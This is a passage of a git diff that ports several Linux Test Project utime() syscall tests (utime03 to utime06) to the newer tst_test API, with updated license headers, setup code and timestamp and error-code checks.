-	ltpuser = SAFE_GETPWNAM(NULL, nobody_uid);
-	SAFE_SETUID(NULL, ltpuser->pw_uid);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Creat a temporary file under above directory */
-	fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE);
-
-	/* Close the temporary file created */
-	SAFE_CLOSE(cleanup, fildes);
-
-	/* Get the current time */
-	curr_time = time(NULL);
-
-	/*
-	 * Sleep for a second so that mod time and access times will be
-	 * different from the current time
-	 */
-	sleep(2);		/* sleep(1) on IA64 sometimes sleeps < 1 sec!! */
-
-}
-
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
+};
diff --git a/testcases/kernel/syscalls/utime/utime03.c b/testcases/kernel/syscalls/utime/utime03.c
index c595671..734f489 100644
--- a/testcases/kernel/syscalls/utime/utime03.c
+++ b/testcases/kernel/syscalls/utime/utime03.c
@@ -1,299 +1,102 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *    07/2001 ported by John George
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
 
-/*
- * Test Name: utime03
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that the system call utime() successfully sets the modification
- *  and access times of a file to the current time, under the following
- *  constraints,
- *	- The times argument is null.
- *	- The user ID of the process is not "root".
- *	- The file is not owned by the user ID of the process.
- *	- The user ID of the process has write access to the file.
+ * Verify that the system call utime() successfully sets the modification
+ * and access times of a file to the current time, under the following
+ * constraints:
  *
- * Expected Result:
- *  utime succeeds returning zero and sets the access and modificatio
- *  times of the file to the current time.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  utime03 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions:
- *  This test should be run by root only.
- *  nobody and bin must be valid users.
- *
+ * - The times argument is NULL.
+ * - The user ID of the process is not "root".
+ * - The file is not owned by the user ID of the process.
+ * - The user ID of the process has write access to the file.
  */
 
-#include <errno.h>
-#include <fcntl.h>
 #include <pwd.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
 #include <utime.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <sys/types.h>
 #include <time.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "tst_clocks.h"
 
-#define TEMP_FILE	"tmp_file"
-#define FILE_MODE	S_IRWXU | S_IRGRP | S_IWGRP| S_IROTH | S_IWOTH
-#define LTPUSER1	"nobody"
-#define LTPUSER2	"bin"
+#define MNTPOINT	"mntpoint"
+#define TEMP_FILE	MNTPOINT"/tmp_file"
+#define FILE_MODE	0766
 
-char *TCID = "utime03";
-int TST_TOTAL = 1;
-time_t curr_time;		/* current time in seconds */
+static uid_t root_uid, user_uid;
 
-struct passwd *ltpuser;		/* password struct for ltpusers */
-uid_t user_uid;			/* user id of ltpuser */
-gid_t group_gid;		/* group id of ltpuser */
-int status;
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	struct stat stat_buf;	/* struct buffer to hold file info. */
-	int lc;
-	long type;
-	time_t modf_time, access_time;
-	time_t pres_time;	/* file modification/access/present time */
-	pid_t pid;
+	struct passwd *pw;
+	uid_t test_users[2];
+	int fd;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	root_uid = getuid();
+	pw = SAFE_GETPWNAM("nobody");
+	test_users[0] = pw->pw_uid;
+	tst_get_uids(test_users, 1, 2);
+	user_uid = test_users[1];
 
-	setup();
+	fd = SAFE_CREAT(TEMP_FILE, FILE_MODE);
+	SAFE_CLOSE(fd);
 
-	switch ((type = tst_fs_type(cleanup, "."))) {
-	case TST_NFS_MAGIC:
-		if (tst_kvercmp(2, 6, 18) < 0)
-			tst_brkm(TCONF, cleanup, "Cannot do utime on a file"
-				" on %s filesystem before 2.6.18",
-				 tst_fs_type_name(type));
-		break;
-	case TST_V9FS_MAGIC:
-		tst_brkm(TCONF, cleanup,
-			 "Cannot do utime on a file on %s filesystem",
-			 tst_fs_type_name(type));
-		break;
+	/* Override umask */
+	SAFE_CHMOD(TEMP_FILE, FILE_MODE);
+	SAFE_CHOWN(TEMP_FILE, pw->pw_uid, pw->pw_gid);
+}
+
+static void run(void)
+{
+	struct utimbuf utbuf;
+	struct stat statbuf;
+	time_t mintime, maxtime;
+
+	utbuf.modtime = time(0) - 5;
+	utbuf.actime = utbuf.modtime + 1;
+	TST_EXP_PASS_SILENT(utime(TEMP_FILE, &utbuf));
+	SAFE_STAT(TEMP_FILE, &statbuf);
+
+	if (statbuf.st_atime != utbuf.actime ||
+		statbuf.st_mtime != utbuf.modtime) {
+		tst_res(TFAIL, "Could not set initial file times");
+		return;
 	}
 
-	pid = FORK_OR_VFORK();
+	SAFE_SETEUID(user_uid);
+	mintime = tst_get_fs_timestamp();
+	TST_EXP_PASS(utime(TEMP_FILE, NULL));
+	maxtime = tst_get_fs_timestamp();
+	SAFE_SETEUID(root_uid);
+	SAFE_STAT(TEMP_FILE, &statbuf);
 
-	if (pid == -1) {
-		tst_brkm(TBROK, cleanup, "fork() failed");
-	} else if (pid == 0) {
-		if ((ltpuser = getpwnam(LTPUSER1)) == NULL) {
-			tst_brkm(TBROK, cleanup, "%s not found in /etc/passwd",
-				 LTPUSER1);
-		}
+	if (statbuf.st_atime < mintime || statbuf.st_atime > maxtime)
+		tst_res(TFAIL, "utime() did not set expected atime, "
+			"mintime: %ld, maxtime: %ld, st_atime: %ld",
+			mintime, maxtime, statbuf.st_atime);
 
-		/* get uid/gid of user accordingly */
-		user_uid = ltpuser->pw_uid;
+	if (statbuf.st_mtime < mintime || statbuf.st_mtime > maxtime)
+		tst_res(TFAIL, "utime() did not set expected mtime, "
+			"mintime: %ld, maxtime: %ld, st_mtime: %ld",
+			mintime, maxtime, statbuf.st_mtime);
+}
 
-		seteuid(user_uid);
-
-		for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-			tst_count = 0;
-
-			/*
-			 * Invoke utime(2) to set TEMP_FILE access and
-			 * modification times to the current time.
-			 */
-			TEST(utime(TEMP_FILE, NULL));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL|TTERRNO,
-					 "utime(%s) failed", TEMP_FILE);
-			} else {
-				/*
-				 * Sleep for a second so that mod time
-				 * and access times will be different
-				 * from the current time.
-				 */
-				sleep(2);
-
-				/*
-				 * Get the current time now, after
-				 * calling utime(2)
-				 */
-				pres_time = time(NULL);
-
-				/*
-				 * Get the modification and access
-				 * times of temporary file using
-				 * stat(2).
-				 */
-				SAFE_STAT(cleanup, TEMP_FILE, &stat_buf);
-				modf_time = stat_buf.st_mtime;
-				access_time = stat_buf.st_atime;
-
-				/* Now do the actual verification */
-				if (modf_time <= curr_time ||
-				    modf_time >= pres_time ||
-				    access_time <= curr_time ||
-				    access_time >= pres_time) {
-					tst_resm(TFAIL, "%s access and "
-						 "modification times "
-						 "not set", TEMP_FILE);
-				} else {
-					tst_resm(TPASS, "Functionality "
-						 "of utime(%s, NULL) "
-						 "successful",
-						 TEMP_FILE);
-				}
-			}
-			tst_count++;	/* incr. TEST_LOOP counter */
-		}
-	} else {
-		waitpid(pid, &status, 0);
-		_exit(0);	/*
-				 * Exit here and let the child clean up.
-				 * This allows the errno information set
-				 * by the TEST_ERROR_LOG macro and the
-				 * PASS/FAIL status to be preserved for
-				 * use during cleanup.
-				 */
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]) {
+		"vfat",
+		"exfat",
+		NULL
 	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory and close it
- *  Change the ownership of testfile to that of "bin" user.
- *  Record the current time.
- */
-void setup(void)
-{
-	int fildes;		/* file handle for temp file */
-	char *tmpd = NULL;
-
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* get the name of the temporary directory */
-	tmpd = SAFE_GETCWD(NULL, tmpd, 0);
-
-	/* Creat a temporary file under above directory */
-	fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE);
-
-	/* Close the temporary file created */
-	SAFE_CLOSE(cleanup, fildes);
-
-	/*
-	 * Make sure that specified Mode permissions set as
-	 * umask value may be different.
-	 */
-	SAFE_CHMOD(cleanup, TEMP_FILE, FILE_MODE);
-	SAFE_CHMOD(cleanup, tmpd, 0711);
-
-	ltpuser = SAFE_GETPWNAM(cleanup, LTPUSER2);
-
-	/* get uid/gid of user accordingly */
-	user_uid = ltpuser->pw_uid;
-	group_gid = ltpuser->pw_gid;
-
-	/*
-	 * Change the ownership of test directory/file specified by
-	 * pathname to that of user_uid and group_gid.
-	 */
-	SAFE_CHOWN(cleanup, TEMP_FILE, user_uid, group_gid);
-
-	/* Get the current time */
-	curr_time = time(NULL);
-
-	/*
-	 * Sleep for a second so that mod time and access times will be
-	 * different from the current time
-	 */
-	sleep(2);		/* sleep(1) on IA64 sometimes sleeps < 1 sec!! */
-
-}
-
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-	seteuid(0);
-
-	tst_rmdir();
-
-}
+};
diff --git a/testcases/kernel/syscalls/utime/utime04.c b/testcases/kernel/syscalls/utime/utime04.c
index 5253f76..67e4012 100644
--- a/testcases/kernel/syscalls/utime/utime04.c
+++ b/testcases/kernel/syscalls/utime/utime04.c
@@ -1,190 +1,64 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *		07/2001 ported by John George
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * Test Name: utime04
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that the system call utime() successfully sets the modification
- *  and access times of a file to the time specified by times argument, if
- *  the times argument is not null, and the user ID of the process is "root".
- *
- * Expected Result:
- *   utime succeeds returning zero and sets the access and modification
- *   times of the file to that specified by the times argument.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  utime04 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions:
- *  This test should be run by 'super-user' (root) only.
- *
+ * Verify that the system call utime() successfully changes the last
+ * access and modification times of a file to the values specified by
+ * times argument, under the following constraints:
+ * - The times argument is not NULL.
+ * - The user ID of the process is "root".
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <utime.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <signal.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define MNT_POINT	"mntpoint"
+#define TEMP_FILE	MNT_POINT"/tmp_file"
 
-#define TEMP_FILE	"tmp_file"
-#define FILE_MODE	S_IRUSR | S_IRGRP | S_IROTH
-#define NEW_TIME	10000
+#define FILE_MODE	0444
+#define NEW_MODF_TIME	10000
+#define NEW_ACCESS_TIME	20000
 
-char *TCID = "utime04";
-int TST_TOTAL = 1;
+static struct utimbuf times = {
+	.modtime = NEW_MODF_TIME,
+	.actime = NEW_ACCESS_TIME
+};
 
-struct utimbuf times;		/* struct. buffer for utime() */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	struct stat stat_buf;	/* struct buffer to hold file info. */
-	int lc;
-	time_t modf_time, access_time;
-	/* file modification/access time */
+	SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL);
+}
 
-	tst_parse_opts(ac, av, NULL, NULL);
+static void run(void)
+{
+	struct stat stat_buf;
 
-	setup();
+	TST_EXP_PASS(utime(TEMP_FILE, &times), "utime(%s, &times)", TEMP_FILE);
+	if (!TST_PASS)
+		return;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	SAFE_STAT(TEMP_FILE, &stat_buf);
 
-		tst_count = 0;
+	TST_EXP_EQ_LI(stat_buf.st_mtime, NEW_MODF_TIME);
+	TST_EXP_EQ_LI(stat_buf.st_atime, NEW_ACCESS_TIME);
+}
 
-		/*
-		 * Invoke utime(2) to set TEMP_FILE access and
-		 * modification times to that specified by
-		 * times argument.
-		 */
-		TEST(utime(TEMP_FILE, &times));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE);
-		} else {
-			/*
-			 * Get the modification and access times of
-			 * temporary file using stat(2).
-			 */
-			SAFE_STAT(cleanup, TEMP_FILE, &stat_buf);
-			modf_time = stat_buf.st_mtime;
-			access_time = stat_buf.st_atime;
-
-			/* Now do the actual verification */
-			if ((modf_time != NEW_TIME) ||
-			    (access_time != NEW_TIME)) {
-				tst_resm(TFAIL, "%s access and "
-					 "modification times not set",
-					 TEMP_FILE);
-			} else {
-				tst_resm(TPASS, "Functionality of "
-					 "utime(%s, &times) successful",
-					 TEMP_FILE);
-			}
-		}
-		tst_count++;	/* incr TEST_LOOP counter */
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]) {
+		"vfat",
+		"exfat",
+		NULL
 	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory and close it
- */
-void setup(void)
-{
-	int fildes;		/* file handle for temp file */
-
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Creat a temporary file under above directory */
-	fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE);
-
-	/* Close the temporary file created */
-	SAFE_CLOSE(cleanup, fildes);
-
-	/* Initialize the modification and access time in the times arg */
-	times.actime = NEW_TIME;
-	times.modtime = NEW_TIME;
-
-}
-
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
+};
diff --git a/testcases/kernel/syscalls/utime/utime05.c b/testcases/kernel/syscalls/utime/utime05.c
index b2d2450..ce0aa5d 100644
--- a/testcases/kernel/syscalls/utime/utime05.c
+++ b/testcases/kernel/syscalls/utime/utime05.c
@@ -1,200 +1,78 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *		07/2001 ported by John George
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * Test Name: utime05
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that the system call utime() successfully sets the modification
- *  and access times of a file to the value specified by the times argument
- *  under the following constraints,
- *		- The times argument is not null,
- *		- The user ID of the process is not "root".
- *		- The file is owned by the user ID of the process.
- *
- * Expected Result:
- *  utime succeeds returning zero and sets the access and modification
- *  times of the file to that specified by the times argument.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  utime05 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t]
- *		where,	-c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functionality Testing.
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions:
- *
+ * Verify that the system call utime() successfully changes the last
+ * access and modification times of a file to the values specified by
+ * times argument, under the following constraints:
+ * - The times argument is not NULL.
+ * - The user ID of the process is not "root".
+ * - The file is owned by the user ID of the process.
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <utime.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <signal.h>
 #include <pwd.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-#define TEMP_FILE	"tmp_file"
-#define FILE_MODE	S_IRUSR | S_IRGRP | S_IROTH
-#define NEW_TIME	10000
+#define MNT_POINT	"mntpoint"
+#define TEMP_FILE	MNT_POINT"/tmp_file"
 
-char *TCID = "utime05";
-int TST_TOTAL = 1;
+#define FILE_MODE	0444
+#define MODE_RWX	0777
+#define NEW_MODF_TIME	10000
+#define NEW_ACCESS_TIME	20000
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
+#define TEST_USERNAME "nobody"
 
-struct utimbuf times;		/* struct. buffer for utime() */
+static struct utimbuf times = {
+	.modtime = NEW_MODF_TIME,
+	.actime = NEW_ACCESS_TIME
+};
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	struct stat stat_buf;	/* struct buffer to hold file info. */
-	int lc;
-	time_t modf_time, access_time;
-	/* file modification/access time */
+	struct passwd *pw;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	SAFE_CHMOD(MNT_POINT, MODE_RWX);
 
-	setup();
+	pw = SAFE_GETPWNAM(TEST_USERNAME);
+	tst_res(TINFO, "Switching effective user ID to user: %s", pw->pw_name);
+	SAFE_SETEUID(pw->pw_uid);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL);
+}
 
-		tst_count = 0;
+static void run(void)
+{
+	struct stat stat_buf;
 
-		/*
-		 * Invoke utime(2) to set TEMP_FILE access and
-		 * modification times to that specified by
-		 * times argument.
-		 */
-		TEST(utime(TEMP_FILE, &times));
+	TST_EXP_PASS(utime(TEMP_FILE, &times), "utime(%s, &times)", TEMP_FILE);
+	if (!TST_PASS)
+		return;
 
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE);
-		} else {
-			/*
-			 * Get the modification and access times of
-			 * temporary file using stat(2).
-			 */
-			SAFE_STAT(cleanup, TEMP_FILE, &stat_buf);
-			modf_time = stat_buf.st_mtime;
-			access_time = stat_buf.st_atime;
+	SAFE_STAT(TEMP_FILE, &stat_buf);
 
-			/* Now do the actual verification */
-			if ((modf_time != NEW_TIME) ||
-			    (access_time != NEW_TIME)) {
-				tst_resm(TFAIL, "%s access and "
-					 "modification times not set",
-					 TEMP_FILE);
-			} else {
-				tst_resm(TPASS, "Functionality of "
-					 "utime(%s, &times) successful",
-					 TEMP_FILE);
-			}
-		}
-		tst_count++;	/* incr TEST_LOOP counter */
+	TST_EXP_EQ_LI(stat_buf.st_mtime, NEW_MODF_TIME);
+	TST_EXP_EQ_LI(stat_buf.st_atime, NEW_ACCESS_TIME);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]) {
+		"vfat",
+		"exfat",
+		NULL
 	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory and close it
- */
-void setup(void)
-{
-	int fildes;		/* file handle for temp file */
-
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = SAFE_GETPWNAM(NULL, nobody_uid);
-	SAFE_SETUID(NULL, ltpuser->pw_uid);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Creat a temporary file under above directory */
-	fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE);
-
-	/* Close the temporary file created */
-	SAFE_CLOSE(cleanup, fildes);
-
-	/* Initialize the modification and access time in the times arg */
-	times.actime = NEW_TIME;
-	times.modtime = NEW_TIME;
-
-}
-
-/*
- * void
- * cleanup() -	performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- *		Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
+};
diff --git a/testcases/kernel/syscalls/utime/utime06.c b/testcases/kernel/syscalls/utime/utime06.c
index 6d80677..9057c29 100644
--- a/testcases/kernel/syscalls/utime/utime06.c
+++ b/testcases/kernel/syscalls/utime/utime06.c
@@ -1,174 +1,72 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) International Business Machines  Corp., 2001
- *	07/2001 John George
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *   Copyright (c) International Business Machines  Corp., 2001
+ *		07/2001 John George
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * Test Description:
- * 1. Verify that the system call utime() fails to set the modification
- *    and access times of a file to the current time, under the following
- *    constraints,
- *	 - The times argument is null.
- *	 - The user ID of the process is not "root".
- * 2. Verify that the system call utime() fails to set the modification
- *    and access times of a file if the specified file doesn't exist.
- * 3. Verify that the system call utime() fails to set the modification
- *    and access times of a file to the current time, under the following
- *    constraints,
- *	 - The times argument is not null.
- *	 - The user ID of the process is not "root".
- * 4. Verify that the system call utime() fails to set the modification
- *    and access times of a file that resides on a read-only file system.
+/*\
+ * [Description]
+ *
+ * Verify that system call utime() fails with
+ * - EACCES when times argument is NULL and user does not have rights
+ * to modify the file.
+ * - ENOENT when specified file does not exist.
+ * - EPERM when times argument is not NULL and user does not have rights
+ * to modify the file.
+ * - EROFS when the path resides on a read-only filesystem.
  */
 
-#include <errno.h>
-#include <fcntl.h>
 #include <pwd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <signal.h>
-#include <string.h>
-#include <unistd.h>
 #include <utime.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/mount.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
 #define TEMP_FILE	"tmp_file"
 #define MNT_POINT	"mntpoint"
+#define FILE_MODE	0644
+#define TEST_USERNAME "nobody"
 
-char *TCID = "utime06";
-static struct passwd *ltpuser;
 static const struct utimbuf times;
-static const char *dev;
-static int mount_flag;
-static void setup_nobody(void);
-static void cleanup_nobody(void);
 
-struct test_case_t {
+static struct tcase {
 	char *pathname;
 	int exp_errno;
-	const struct utimbuf *times;
-	void (*setup_func)(void);
-	void (*cleanup_func)(void);
-} Test_cases[] = {
-	{TEMP_FILE, EACCES, NULL, setup_nobody, cleanup_nobody},
-	{"", ENOENT, NULL, NULL, NULL},
-	{TEMP_FILE, EPERM, &times, setup_nobody, cleanup_nobody},
-	{MNT_POINT, EROFS, NULL, NULL, NULL},
+	const struct utimbuf *utimbuf;
+	char *err_desc;
+} tcases[] = {
+	{TEMP_FILE, EACCES, NULL, "No write access"},
+	{"", ENOENT, NULL, "File not exist"},
+	{TEMP_FILE, EPERM, &times, "Not file owner"},
+	{MNT_POINT, EROFS, NULL, "Read-only filesystem"}
 };
 
-int TST_TOTAL = ARRAY_SIZE(Test_cases);
-static void setup(void);
-static void utime_verify(const struct test_case_t *);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (i = 0; i < TST_TOTAL; i++)
-			utime_verify(&Test_cases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
 
 static void setup(void)
 {
-	const char *fs_type;
+	struct passwd *pw;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL);
 
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	SAFE_TOUCH(cleanup, TEMP_FILE, 0644, NULL);
-
-	fs_type = tst_dev_fs_type();
-	dev = tst_acquire_device(cleanup);
-	if (!dev)
-		tst_brkm(TCONF, cleanup, "Failed to acquire test device");
-
-	tst_mkfs(cleanup, dev, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, MNT_POINT, 0644);
-	SAFE_MOUNT(cleanup, dev, MNT_POINT, fs_type, MS_RDONLY, NULL);
-	mount_flag = 1;
-
-	ltpuser = SAFE_GETPWNAM(cleanup, "nobody");
+	pw = SAFE_GETPWNAM(TEST_USERNAME);
+	tst_res(TINFO, "Switching effective user ID to user: %s", pw->pw_name);
